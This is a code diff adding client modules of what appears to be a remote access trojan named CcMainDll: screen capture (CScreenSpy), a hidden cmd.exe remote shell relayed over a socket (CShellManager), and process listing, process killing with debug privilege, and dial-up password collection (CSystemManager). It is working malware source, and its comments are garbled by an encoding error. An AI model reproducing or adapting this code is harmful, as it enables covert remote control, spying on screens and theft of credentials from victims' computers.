// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
*p1 = *p2;
|
||||
*(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
|
||||
nCount += 4;
|
||||
}
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
*(LPDWORD)(lpBuffer + nBytesOffset) = nCount;
|
||||
nOffsetOffset = nDataOffset + nCount;
|
||||
}
|
||||
|
||||
// nOffsetOffset <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD>С
|
||||
return nOffsetOffset;
|
||||
|
||||
// <09>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٶȻ<D9B6>û<EFBFBD><C3BB>C<EFBFBD>㷨<EFBFBD>죬<EFBFBD><ECA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// int Bytes = 0;
|
||||
// __asm
|
||||
// {
|
||||
// mov esi, [lpSource]
|
||||
// mov edi, [lpDest]
|
||||
// mov ebx, [lpBuffer]
|
||||
// xor ecx, ecx
|
||||
// jmp short Loop_Compare // <20><>ʼ<EFBFBD><CABC><EFBFBD>бȽ<D0B1>
|
||||
// Loop_Compare_Continue:
|
||||
// mov eax, dword ptr [esi]
|
||||
// cmp eax, dword ptr [edi]
|
||||
// je short Loop_Compare_Equal // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD>
|
||||
// mov [edi], eax // д<>벻ͬ<EBB2BB><CDAC><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>
|
||||
// mov edx, ebx // edx <20><>¼<EFBFBD><C2BC>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼλ<CABC><CEBB>
|
||||
// mov dword ptr [ebx], ecx
|
||||
// add ebx, 8
|
||||
// mov dword ptr [ebx], eax
|
||||
// add ebx, 4
|
||||
// add esi, 4
|
||||
// add edi, 4
|
||||
// add ecx, 4
|
||||
// jmp short Loop_Block_Compare // <20><><EFBFBD>ݲ<EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>飬<EFBFBD><E9A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>бȽ<D0B1>
|
||||
// Loop_Block_Compare_Continue:
|
||||
// mov eax, dword ptr [esi]
|
||||
// cmp eax, dword ptr [edi]
|
||||
// jnz short Loop_Block_Compare_Not_Equal // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD>ȣ<EFBFBD>д<EFBFBD><D0B4>
|
||||
// mov eax, ecx
|
||||
// sub eax, dword ptr [edx]
|
||||
// add edx, 4
|
||||
// mov dword ptr [edx], eax
|
||||
// add eax, 8
|
||||
// add [Bytes], eax
|
||||
// add esi, 4
|
||||
// add edi, 4
|
||||
// add ecx, 4
|
||||
// jmp short Loop_Block_Compare_Finish
|
||||
// Loop_Block_Compare_Not_Equal:
|
||||
// mov dword ptr [ebx], eax
|
||||
// mov [edi], eax // д<>벻ͬ<EBB2BB><CDAC><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>
|
||||
// add ebx, 4
|
||||
// add esi, 4
|
||||
// add edi, 4
|
||||
// add ecx, 4
|
||||
// Loop_Block_Compare:
|
||||
// cmp ecx, [dwSize]
|
||||
// jb short Loop_Block_Compare_Continue
|
||||
// Loop_Block_Compare_Finish:
|
||||
// cmp ecx, [dwSize]
|
||||
// jnz short Loop_Compare
|
||||
// mov eax, ecx
|
||||
// sub eax, dword ptr [edx]
|
||||
// add edx, 4
|
||||
// mov dword ptr [edx], eax
|
||||
// add eax, 8
|
||||
// add [Bytes], eax
|
||||
// jmp short Loop_Compare
|
||||
// Loop_Compare_Equal:
|
||||
// add esi, 4
|
||||
// add edi, 4
|
||||
// add ecx, 4
|
||||
// Loop_Compare:
|
||||
// cmp ecx, [dwSize]
|
||||
// jb short Loop_Compare_Continue
|
||||
// }
|
||||
// return Bytes;
|
||||
}
|
||||
64
CcMainDll/CcMainDll/common/ScreenSpy.h
Normal file
64
CcMainDll/CcMainDll/common/ScreenSpy.h
Normal file
@@ -0,0 +1,64 @@
|
||||
// ScreenSpy.h: interface for the CScreenSpy class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
|
||||
#define AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_
|
||||
#include <windows.h>
|
||||
#include "..\..\..\common\CursorInfo.h"
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
#define ALGORITHM_SCAN 1 // <20>ٶȺܿ죬<DCBF><ECA3AC><EFBFBD><EFBFBD>Ƭ̫<C6AC><CCAB>
|
||||
#define ALGORITHM_DIFF 2 // <20>ٶȺ<D9B6><C8BA><EFBFBD><EFBFBD><EFBFBD>ҲռCPU<50><55><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1>
|
||||
|
||||
class CScreenSpy
|
||||
{
|
||||
public:
|
||||
CScreenSpy(int biBitCount= 8, bool bIsGray= false, UINT nMaxFrameRate = 100);
|
||||
virtual ~CScreenSpy();
|
||||
LPVOID getFirstScreen();
|
||||
LPVOID getNextScreen(LPDWORD lpdwBytes);
|
||||
|
||||
void setAlgorithm(UINT nAlgorithm);
|
||||
LPBITMAPINFO getBI();
|
||||
UINT getBISize();
|
||||
UINT getFirstImageSize();
|
||||
void setCaptureLayer(bool bIsCaptureLayer);
|
||||
private:
|
||||
BYTE m_bAlgorithm;
|
||||
UINT m_nMaxFrameRate;
|
||||
bool m_bIsGray;
|
||||
DWORD m_dwBitBltRop;
|
||||
DWORD m_dwLastCapture;
|
||||
DWORD m_dwSleep;
|
||||
LPBYTE m_rectBuffer;
|
||||
UINT m_rectBufferOffset;
|
||||
BYTE m_nIncSize;
|
||||
int m_nFullWidth, m_nFullHeight, m_nStartLine;
|
||||
RECT m_changeRect;
|
||||
HDC m_hFullDC, m_hLineMemDC, m_hFullMemDC, m_hRectMemDC;
|
||||
HBITMAP m_hLineBitmap, m_hFullBitmap;
|
||||
LPVOID m_lpvLineBits, m_lpvFullBits;
|
||||
LPBITMAPINFO m_lpbmi_line, m_lpbmi_full, m_lpbmi_rect;
|
||||
int m_biBitCount;
|
||||
int m_nDataSizePerLine;
|
||||
|
||||
LPVOID m_lpvDiffBits; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƚϵ<C8BD><CFB5><EFBFBD>һ<EFBFBD><D2BB>
|
||||
HDC m_hDiffDC, m_hDiffMemDC;
|
||||
HBITMAP m_hDiffBitmap;
|
||||
|
||||
CCursorInfo m_CursorInfo;
|
||||
void ScanScreen(HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight); // <20><><EFBFBD><EFBFBD>CPU
|
||||
int Compare(LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize);
|
||||
LPBITMAPINFO ConstructBI(int biBitCount, int biWidth, int biHeight);
|
||||
void WriteRectBuffer(LPBYTE lpData, int nCount);
|
||||
bool ScanChangedRect(int nStartLine);
|
||||
void CopyRect(LPRECT lpRect);
|
||||
bool SelectInputWinStation();
|
||||
HWND m_hDeskTopWnd;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
|
||||
166
CcMainDll/CcMainDll/common/ShellManager.cpp
Normal file
166
CcMainDll/CcMainDll/common/ShellManager.cpp
Normal file
@@ -0,0 +1,166 @@
|
||||
// ShellManager.cpp: implementation of the CShellManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "ShellManager.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
||||
{
|
||||
SECURITY_ATTRIBUTES sa = {0}; //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
char strShellPath[MAX_PATH] = {0};
|
||||
|
||||
m_hReadPipeHandle = NULL;
|
||||
m_hWritePipeHandle = NULL;
|
||||
m_hReadPipeShell = NULL;
|
||||
m_hWritePipeShell = NULL;
|
||||
sa.nLength = sizeof(sa);
|
||||
sa.lpSecurityDescriptor = NULL;
|
||||
sa.bInheritHandle = TRUE;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
|
||||
{
|
||||
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
|
||||
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);
|
||||
return;
|
||||
}
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
|
||||
{
|
||||
if(m_hWritePipeHandle != NULL) CloseHandle(m_hWritePipeHandle);
|
||||
if(m_hReadPipeShell != NULL) CloseHandle(m_hReadPipeShell);
|
||||
return;
|
||||
}
|
||||
|
||||
memset((void *)&si, 0, sizeof(si));
|
||||
memset((void *)&pi, 0, sizeof(pi));
|
||||
|
||||
GetStartupInfo(&si);
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.wShowWindow = SW_HIDE;
|
||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||
si.hStdInput = m_hReadPipeShell;//<2F><><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD>ֵ
|
||||
si.hStdOutput = si.hStdError = m_hWritePipeShell;
|
||||
|
||||
GetSystemDirectory(strShellPath, MAX_PATH);
|
||||
strcat(strShellPath,"\\cmd.exe");
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>CMD<4D><44><EFBFBD>̣<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ܵ<EFBFBD>
|
||||
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
|
||||
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
|
||||
{
|
||||
CloseHandle(m_hReadPipeHandle);
|
||||
CloseHandle(m_hWritePipeHandle);
|
||||
CloseHandle(m_hReadPipeShell);
|
||||
CloseHandle(m_hWritePipeShell);
|
||||
return;
|
||||
}
|
||||
m_hProcessHandle = pi.hProcess;
|
||||
m_hThreadHandle = pi.hThread;
|
||||
|
||||
//<2F><>־<EFBFBD><D6BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> shell<6C><6C><EFBFBD><EFBFBD>
|
||||
BYTE bToken = TOKEN_SHELL_START;
|
||||
//֪ͨ<D6AA><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
Send((LPBYTE)&bToken, 1);
|
||||
WaitForDialogOpen();
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5>߳<EFBFBD>
|
||||
m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ȴ<EFBFBD><C8B4>߳<EFBFBD> <20>ȴ<EFBFBD><C8B4>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>رգ<D8B1><D5A3>ն˽<D5B6><CBBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
CShellManager::~CShellManager()
|
||||
{
|
||||
TerminateThread(m_hThreadRead, 0);
|
||||
TerminateProcess(m_hProcessHandle, 0);
|
||||
TerminateThread(m_hThreadHandle, 0);
|
||||
WaitForSingleObject(m_hThreadMonitor, 2000);
|
||||
TerminateThread(m_hThreadMonitor, 0);
|
||||
|
||||
if (m_hReadPipeHandle != NULL)
|
||||
DisconnectNamedPipe(m_hReadPipeHandle);
|
||||
if (m_hWritePipeHandle != NULL)
|
||||
DisconnectNamedPipe(m_hWritePipeHandle);
|
||||
if (m_hReadPipeShell != NULL)
|
||||
DisconnectNamedPipe(m_hReadPipeShell);
|
||||
if (m_hWritePipeShell != NULL)
|
||||
DisconnectNamedPipe(m_hWritePipeShell);
|
||||
|
||||
CloseHandle(m_hReadPipeHandle);
|
||||
CloseHandle(m_hWritePipeHandle);
|
||||
CloseHandle(m_hReadPipeShell);
|
||||
CloseHandle(m_hWritePipeShell);
|
||||
|
||||
CloseHandle(m_hProcessHandle);
|
||||
CloseHandle(m_hThreadHandle);
|
||||
CloseHandle(m_hThreadMonitor);
|
||||
CloseHandle(m_hThreadRead);
|
||||
}
|
||||
|
||||
void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
|
||||
{
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD>źŴ<C5B4>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WaitForDialogOpen();ִ<>к<EFBFBD><D0BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
NotifyDialogIsOpen();
|
||||
return;
|
||||
}
|
||||
|
||||
unsigned long ByteWrite;
|
||||
//д<><D0B4><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
|
||||
}
|
||||
|
||||
|
||||
//<2F><>ȡCMD<4D><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̺߳<DFB3><CCBA><EFBFBD>
|
||||
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
|
||||
{
|
||||
unsigned long BytesRead = 0;
|
||||
char ReadBuff[1024];
|
||||
DWORD TotalBytesAvail;
|
||||
CShellManager *pThis = (CShellManager *)lparam;
|
||||
while (1)
|
||||
{
|
||||
Sleep(100);
|
||||
|
||||
//<2F>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||
while (PeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL))
|
||||
{
|
||||
//û<><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD>
|
||||
if (BytesRead <= 0)
|
||||
break;
|
||||
memset(ReadBuff, 0, sizeof(ReadBuff));
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
|
||||
//<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ---->OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
pThis->Send(lpBuffer, BytesRead);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
//<2F>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̹߳ر<CCB9><D8B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
DWORD WINAPI CShellManager::MonitorThread(LPVOID lparam)
|
||||
{
|
||||
CShellManager *pThis = (CShellManager *)lparam;
|
||||
HANDLE hThread[2];
|
||||
hThread[0] = pThis->m_hProcessHandle;
|
||||
hThread[1] = pThis->m_hThreadRead;
|
||||
WaitForMultipleObjects(2, hThread, FALSE, INFINITE);
|
||||
|
||||
//<2F>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CMDѭ<44><D1AD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD>ݵ<EFBFBD><DDB5>߳<EFBFBD>
|
||||
TerminateThread(pThis->m_hThreadRead, 0);
|
||||
TerminateProcess(pThis->m_hProcessHandle, 1);
|
||||
pThis->m_pClient->Disconnect();
|
||||
return 0;
|
||||
}
|
||||
35
CcMainDll/CcMainDll/common/ShellManager.h
Normal file
35
CcMainDll/CcMainDll/common/ShellManager.h
Normal file
@@ -0,0 +1,35 @@
|
||||
// ShellManager.h: interface for the CShellManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_)
|
||||
#define AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
class CShellManager : public CManager
|
||||
{
|
||||
public:
|
||||
CShellManager(CClientSocket *pClient);
|
||||
virtual ~CShellManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
private:
|
||||
HANDLE m_hReadPipeHandle;
|
||||
HANDLE m_hWritePipeHandle;
|
||||
HANDLE m_hReadPipeShell;
|
||||
HANDLE m_hWritePipeShell;
|
||||
|
||||
HANDLE m_hProcessHandle;
|
||||
HANDLE m_hThreadHandle;
|
||||
HANDLE m_hThreadRead;
|
||||
HANDLE m_hThreadMonitor;
|
||||
|
||||
static DWORD WINAPI ReadPipeThread(LPVOID lparam);
|
||||
static DWORD WINAPI MonitorThread(LPVOID lparam);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SHELLMANAGER_H__CCDCEFAB_AFD9_4F2C_A633_637ECB94B6EE__INCLUDED_)
|
||||
404
CcMainDll/CcMainDll/common/SystemManager.cpp
Normal file
404
CcMainDll/CcMainDll/common/SystemManager.cpp
Normal file
@@ -0,0 +1,404 @@
|
||||
// SystemManager.cpp: implementation of the CSystemManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "..\pch.h"
|
||||
#include "SystemManager.h"
|
||||
#include "Dialupass.h"
|
||||
#include <tlhelp32.h>
|
||||
#include <psapi.h>
|
||||
#include <iphlpapi.h>
|
||||
#pragma comment(lib,"Iphlpapi.lib")
|
||||
#pragma comment(lib,"Psapi.lib")
|
||||
|
||||
#include "until.h"
|
||||
#include <tchar.h>
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CSystemManager::CSystemManager(CClientSocket *pClient, BYTE bHow) : CManager(pClient)
|
||||
{
|
||||
m_caseSystemIs = bHow;
|
||||
if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendProcessList();
|
||||
}
|
||||
else if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
|
||||
{
|
||||
SendWindowsList();
|
||||
}
|
||||
}
|
||||
|
||||
CSystemManager::~CSystemManager()
|
||||
{
|
||||
|
||||
}
|
||||
void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
|
||||
SwitchInputDesktop();
|
||||
switch (lpBuffer[0])//<2F><><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><C7BD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵĺ<DDB5><C4BA><EFBFBD><EFBFBD><EFBFBD> <20>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
case COMMAND_PSLIST: //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
SendProcessList();
|
||||
break;
|
||||
case COMMAND_WSLIST: //<2F><><EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
SendWindowsList();
|
||||
break;
|
||||
case COMMAND_DIALUPASS: //<2F><><EFBFBD><EFBFBD>20200530
|
||||
break;
|
||||
case COMMAND_KILLPROCESS: //<2F>رս<D8B1><D5BD><EFBFBD>
|
||||
KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
|
||||
case COMMAND_WINDOW_CLOSE: //<2F>رմ<D8B1><D5B4><EFBFBD>
|
||||
CloseTheWindow(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1> <20><><EFBFBD>ش<EFBFBD><D8B4>ں<EFBFBD>
|
||||
ShowTheWindow(lpBuffer + 1);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CSystemManager::SendProcessList()
|
||||
{
|
||||
UINT nRet = -1;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>getProcessList<73>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD> --->lpBuffer
|
||||
LPBYTE lpBuffer = getProcessList();
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
//<2F><><EFBFBD>ͺ<EFBFBD><CDBA><EFBFBD> <20><><EFBFBD>ຯ<EFBFBD><E0BAAF>send <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD>
|
||||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
void CSystemManager::SendWindowsList()
|
||||
{
|
||||
UINT nRet = -1;
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE lpBuffer = getWindowsList();
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
//<2F><><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>20200530
|
||||
void CSystemManager::SendDialupassList()
|
||||
{
|
||||
CDialupass pass;
|
||||
|
||||
int nPacketLen = 0;
|
||||
int i = 0;
|
||||
for (i = 0; i < pass.GetMax(); i++)
|
||||
{
|
||||
COneInfo *pOneInfo = pass.GetOneInfo(i);
|
||||
for (int j = 0; j < STR_MAX; j++)
|
||||
nPacketLen += lstrlen(pOneInfo->Get(j)) + 1;
|
||||
}
|
||||
|
||||
nPacketLen += 1;
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen);
|
||||
|
||||
DWORD dwOffset = 1;
|
||||
|
||||
for (i = 0; i < pass.GetMax(); i++)
|
||||
{
|
||||
|
||||
COneInfo *pOneInfo = pass.GetOneInfo(i);
|
||||
for (int j = 0; j < STR_MAX; j++)
|
||||
{
|
||||
int nFieldLength = lstrlen(pOneInfo->Get(j)) + 1;
|
||||
memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength);
|
||||
dwOffset += nFieldLength;
|
||||
}
|
||||
}
|
||||
|
||||
lpBuffer[0] = TOKEN_DIALUPASS;
|
||||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
|
||||
}
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
HANDLE hProcess = NULL;
|
||||
DebugPrivilege(SE_DEBUG_NAME, TRUE);
|
||||
|
||||
// <20><>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF>ܲ<EFBFBD>ֹ<EFBFBD><D6B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD>
|
||||
for (int i = 0; i < nSize; i += 4)
|
||||
{
|
||||
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + i));
|
||||
TerminateProcess(hProcess, 0);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
DebugPrivilege(SE_DEBUG_NAME, FALSE);
|
||||
// <20><><EFBFBD><EFBFBD>Sleep<65>£<EFBFBD><C2A3><EFBFBD>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD>
|
||||
Sleep(100);
|
||||
// ˢ<>½<EFBFBD><C2BD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
SendProcessList();
|
||||
// ˢ<>´<EFBFBD><C2B4><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
SendWindowsList();
|
||||
}
|
||||
|
||||
BOOL CSystemManager::DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath)
|
||||
{
|
||||
TCHAR szDriveStr[500];
|
||||
TCHAR szDrive[3];
|
||||
TCHAR szDevName[100];
|
||||
INT cchDevName;
|
||||
INT i;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (!pszDosPath || !pszNtPath)
|
||||
return FALSE;
|
||||
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
if (GetLogicalDriveStrings(sizeof(szDriveStr), szDriveStr))
|
||||
{
|
||||
for (i = 0; szDriveStr[i]; i += 4)
|
||||
{
|
||||
if (!lstrcmpi(&(szDriveStr[i]), "A:\\") || !lstrcmpi(&(szDriveStr[i]), "B:\\"))
|
||||
continue;
|
||||
|
||||
szDrive[0] = szDriveStr[i];
|
||||
szDrive[1] = szDriveStr[i + 1];
|
||||
szDrive[2] = '\0';
|
||||
if (!QueryDosDevice(szDrive, szDevName, 100))//<2F><>ѯ Dos <20>豸<EFBFBD><E8B1B8>
|
||||
return FALSE;
|
||||
|
||||
cchDevName = lstrlen(szDevName);
|
||||
